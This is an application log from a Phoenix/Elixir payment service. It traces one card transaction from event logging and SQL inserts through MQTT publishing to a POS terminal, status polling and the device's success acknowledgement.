Reference ID: "ch192202496168"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788504308,
  device_id: "98251226730002",
  amount: 104
}

[Fri Sep  4 06:45:08.355000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788504308,
    device_id: "98251226730002",
    amount: 104
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch192202496168",
  transaction_id: nil,
  date_added: ~U[2026-09-04 06:45:08.354955Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Fri Sep  4 06:45:08.355000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36204] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788504308, device_id: "98251226730002", amount: 104}, event_name: "Response From Device Online Status", refrence_id: "ch192202496168", transaction_id: nil, date_added: ~U[2026-09-04 06:45:08.354955Z], event_id: 36, event_value: "response_from_device_online_status"}
[Fri Sep  4 06:45:08.482000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK db=127.0ms idle=1090.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788504308, device_id: "98251226730002", amount: 104}, "Response From Device Online Status", "ch192202496168", ~U[2026-09-04 06:45:08Z], 36, "response_from_device_online_status", ~N[2026-09-04 06:45:08], ~N[2026-09-04 06:45:08]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 06:45:08.482000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Successfully created custom event log with ID: 40257
[Fri Sep  4 06:45:08.482000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36204] Publish payload 98251226730002: "{\"type\":\"card\",\"request_id\":\"ch192202496168\",\"amount\":10400,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Fri Sep  4 06:45:08.551000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK db=63.9ms queue=4.3ms idle=1218.1ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "104", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch192202496168", "externalRefNumber2" => "4962683205", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730002"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_3b3765118d4d@mercurypay.in", "98251226730002", "ch192202496168", 4, Decimal.new("104"), %{}, "1", ~N[2026-09-04 06:45:08], ~N[2026-09-04 06:45:08]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Fri Sep  4 06:45:08.554000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="users" db=2.3ms idle=916.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 06:45:08.555000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="custom_events" db=0.8ms idle=570.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 06:45:08.555000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch192202496168"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788504308,
  qos: 1,
  device_id: "98251226730002",
  amount: 104
}

[Fri Sep  4 06:45:08.556000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788504308,
    qos: 1,
    device_id: "98251226730002",
    amount: 104
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch192202496168",
  transaction_id: nil,
  date_added: ~U[2026-09-04 06:45:08.556084Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Fri Sep  4 06:45:08.556000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36204] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788504308, qos: 1, device_id: "98251226730002", amount: 104}, event_name: "Request For Publish Txn", refrence_id: "ch192202496168", transaction_id: nil, date_added: ~U[2026-09-04 06:45:08.556084Z], event_id: 37, event_value: "request_for_publish_txn"}
[Fri Sep  4 06:45:08.596000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK db=39.7ms idle=486.8ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788504308, qos: 1, device_id: "98251226730002", amount: 104}, "Request For Publish Txn", "ch192202496168", ~U[2026-09-04 06:45:08Z], 37, "request_for_publish_txn", ~N[2026-09-04 06:45:08], ~N[2026-09-04 06:45:08]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 06:45:08.598000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Successfully created custom event log with ID: 40258
[Fri Sep  4 06:45:08.598000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36204] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1095761922.86370>
[Fri Sep  4 06:45:08.599000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36204] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1095761922.86374>
[Fri Sep  4 06:45:08.602000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="users" db=3.0ms idle=328.9ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 06:45:08.605000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK source="custom_events" db=0.9ms idle=316.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 06:45:08.605000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch192202496168"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788504308,
  device_id: "98251226730002",
  amount: 104
}

[Fri Sep  4 06:45:08.605000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788504308,
    device_id: "98251226730002",
    amount: 104
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch192202496168",
  transaction_id: nil,
  date_added: ~U[2026-09-04 06:45:08.605479Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Fri Sep  4 06:45:08.605000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:36204] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788504308, device_id: "98251226730002", amount: 104}, event_name: "Response From Publish Txn", refrence_id: "ch192202496168", transaction_id: nil, date_added: ~U[2026-09-04 06:45:08.605479Z], event_id: 38, event_value: "response_from_publish_txn"}
[Fri Sep  4 06:45:08.668000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36204] QUERY OK db=61.8ms idle=261.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788504308, device_id: "98251226730002", amount: 104}, "Response From Publish Txn", "ch192202496168", ~U[2026-09-04 06:45:08Z], 38, "response_from_publish_txn", ~N[2026-09-04 06:45:08], ~N[2026-09-04 06:45:08]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 06:45:08.668000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:36204] Successfully created custom event log with ID: 40259
[Fri Sep  4 06:45:08.668000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36204] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1095761922.86374>
[Fri Sep  4 06:45:08.673000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36204] Sent 200 in 417ms
[Fri Sep  4 06:45:14.535000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36220] POST /api/device/status
[Fri Sep  4 06:45:14.536000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:36220] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch192202496168", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 06:45:14.537000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36220] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch192202496168", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 06:45:14.537000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:36220] Transaction reference number: "ch192202496168"
[Fri Sep  4 06:45:14.562000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36220] QUERY OK source="pos_transaction" db=24.9ms idle=265.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch192202496168"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 06:45:14.566000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36220] QUERY OK source="pos_temp_transaction" db=3.4ms idle=291.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch192202496168"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 06:45:14.572000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36220] QUERY OK source="pos_failed_transaction" db=5.0ms idle=294.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch192202496168"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 06:45:14.574000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:36220] QUERY OK source="cloud_transaction" db=2.1ms idle=300.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch192202496168"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 06:45:14.574000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:36220] Sent 200 in 39ms
[Fri Sep  4 06:45:19.309000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39568] POST /api/device/status
[Fri Sep  4 06:45:19.309000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:39568] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch192202496168", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 06:45:19.309000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39568] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch192202496168", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 06:45:19.309000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:39568] Transaction reference number: "ch192202496168"
[Fri Sep  4 06:45:19.323000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39568] QUERY OK source="pos_transaction" db=12.9ms idle=1037.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch192202496168"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 06:45:19.326000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39568] QUERY OK source="pos_terminals" db=2.4ms idle=1050.7ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Fri Sep  4 06:45:19.327000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39568] QUERY OK source="brands" db=0.9ms idle=1053.6ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Fri Sep  4 06:45:19.328000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39568] QUERY OK source="user_metadata" db=0.6ms idle=1908.0ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Fri Sep  4 06:45:19.329000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:39568] QUERY OK source="cloud_transaction" db=0.7ms idle=1055.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch192202496168"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Fri Sep  4 06:45:19.329000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:39568] Sent 200 in 20ms
[Fri Sep  4 06:45:33.019000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch192202496168","money": "10400.0", "status": "SUCCESS" }
[Fri Sep  4 06:45:33.019000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch192202496168: %{"money" => "10400.0", "request_id" => "ch192202496168", "status" => "SUCCESS"}
[Fri Sep  4 06:45:33.019000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch192202496168 is success
[Fri Sep  4 06:45:33.022000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=1.6ms idle=1747.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch192202496168", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 06:45:33.147000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=123.5ms queue=1.8ms idle=1749.2ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-04 06:45:33], 4969]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Fri Sep  4 06:45:33.147000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch192202496168 updated to success/received
[Fri Sep  4 06:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=283.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 06:46:46.513000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch192202496168_20260904064623402","money": "10000.0", "status": "SUCCESS" }
[Fri Sep  4 06:46:46.514000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch192202496168_20260904064623402: %{"money" => "10000.0", "request_id" => "ch192202496168_20260904064623402", "status" => "SUCCESS"}
[Fri Sep  4 06:46:46.514000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch192202496168_20260904064623402 is success
[Fri Sep  4 06:46:46.517000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=2.7ms idle=1230.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch192202496168_20260904064623402", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 06:46:46.517000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch192202496168_20260904064623402
[Fri Sep  4 06:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1220.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 07:00:01.612000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=1231.9ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-04 07:00:01Z]]
